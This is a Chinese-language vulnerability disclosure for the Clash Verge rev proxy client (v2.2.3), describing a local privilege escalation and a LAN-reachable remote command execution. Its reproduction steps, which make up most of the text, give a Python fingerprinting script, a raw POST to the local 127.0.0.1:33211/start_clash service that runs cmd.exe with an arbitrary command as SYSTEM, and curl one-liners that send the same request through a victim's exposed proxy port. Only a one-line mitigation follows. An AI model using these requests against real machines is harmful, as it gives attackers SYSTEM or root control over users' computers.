Clash Verge rev本地提权漏洞

一、基本信息

  • 影响版本: 最新版本(v2.2.3)依然受影响。(截止2025.05.22)
  • 漏洞类型: 本地权限提升 | 远程命令执行(开启局域网连接时)

二、漏洞简介

‌‌‌‌  Clash Verge rev存在一个提权漏洞,在Mac、Linux和Windows都能进行提权,Mac和Linux下能提权到root,Windows下可以提权到SYSTEM。
‌‌‌‌  同时在Clash Verge允许局域网连接时,可导致局域网用户连接本地代理端口,调用本地API接口,构造命令,触发远程命令执行。


三、环境搭建

[!使用版本]

示:
Clash Verge版本2.2.3

[!开启局域网连接]

‌‌‌‌  默认情况是关闭状态。开启局域网连接是远程命令执行的条件。


局域网连接

四、复现步骤

1 POC-端口服务识别

1
python312 <py文件> -i 192.168.73.40 -p 7890 -m socks5h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-m', '--mode', default='socks5h', help='代理协议,例如 socks5h/socks5/socks4/http/https')
parser.add_argument('-i', '--host', default='192.168.73.40', help='代理服务器IP地址')
parser.add_argument('-p', '--port', default='7890', help='代理服务器端口')
args = parser.parse_args()

proxy_url = f"{args.mode}://{args.host}:{args.port}"
proxies = { "http": proxy_url,"https": proxy_url}
products = []

url1 = "http://127.0.0.1:9097/configs"
try:
response1 = requests.get(url1, proxies=proxies, timeout=10)
status1 = response1.status_code
if status1 == 200:
# print(f"{url1}: \n{response1.text}")
products.append(f"clash({args.mode}-http-proxy:9097)")
except requests.RequestException as e:
pass

url2 = "http://127.0.0.1:33211/start_clash"
post_data = '{"core_type": "","bin_path": "","config_dir": "","config_file": "","log_file": ""}'
headers = {"Content-Type": "application/json"}
try:
response2 = requests.post(url2, data=post_data, headers=headers, proxies=proxies, timeout=10)
status2 = response2.status_code
if status2 == 200:
# print(f"{url2}: \n{response2.text}")
products.append(f"clash({args.mode}-http-proxy:33211)")
except requests.RequestException as e:
pass

print(f"POST:{args.port} -> 服务:clash({args.mode}-proxy)")
print("详细:"," | ".join(products))

2 本地权限提升

‌‌‌‌  默认情况下,Clash Verge会注册一个服务,开启33211端口,监听127.0.0.1:33211。


端口服务

  • 33210端口响应
1
HTTP method not allowed

[!漏洞利用]

1
2
3
4
5
6
7
8
9
10
11
12
POST /start_clash HTTP/1.1
Host: 127.0.0.1:33211
Content-Type: application/json
Content-Length: 156

{
"core_type":"verge-mihome",
"bin_path":"cmd.exe",
"config_dir":"",
"config_file":"/c ping 2.<dnslog>",
"log_file":"C:\\Windows\\Temp\\5.log"
}


命令执行成功返回

dnslog平台

‌‌‌‌  Ping命令以system权限运行。将config_file命令修改为对应的需要提权的程序即可。


3 远程命令执行(特定条件下)

‌‌‌‌  通过端口指纹识别,获取到代理服务端口信息,尝试判断是否为clash客户端,访问目标本地的33211端口。

1
curl -x http://192.168.73.40:7890  -H "Accept:" -H "User-Agent:" -H "Content-Type: application/json" --data-binary '{ "core_type":"", "bin_path":"", "config_dir":"", "config_file":"", "log_file":"" }' http://127.0.0.1:33211/start_clash

示:
返回响应

‌‌‌‌  根据响应,可以判断为clash客户端,构造poc,执行命令。
‌‌‌‌  注意:只有首次利用能成功,第二次开始命令执行将失败。如需恢复,需要将clash-verge.exe进程结束,重新启动,才能重新利用。

示:
漏洞利用

[!漏洞利用]

‌‌‌‌  执行命令ping 33211.<dnslog>,dnslog接收到请求信息。

1
curl -x http://192.168.73.40:7890  -H "Accept:" -H "User-Agent:" -H "Content-Type: application/json" --data-binary '{ "core_type":"verge-mihome", "bin_path":"cmd.exe", "config_dir":"", "config_file":"/c ping 33211.<dnslog>", "log_file":"C:\\Windows\\Temp\\5.log" }' http://127.0.0.1:33211/start_clash

示:


五、修复建议

  • 临时缓解措施建议
  1. 非必要不要开启局域网连接,特别是在非安全的网络环境下。

六、参考资料

‌‌‌‌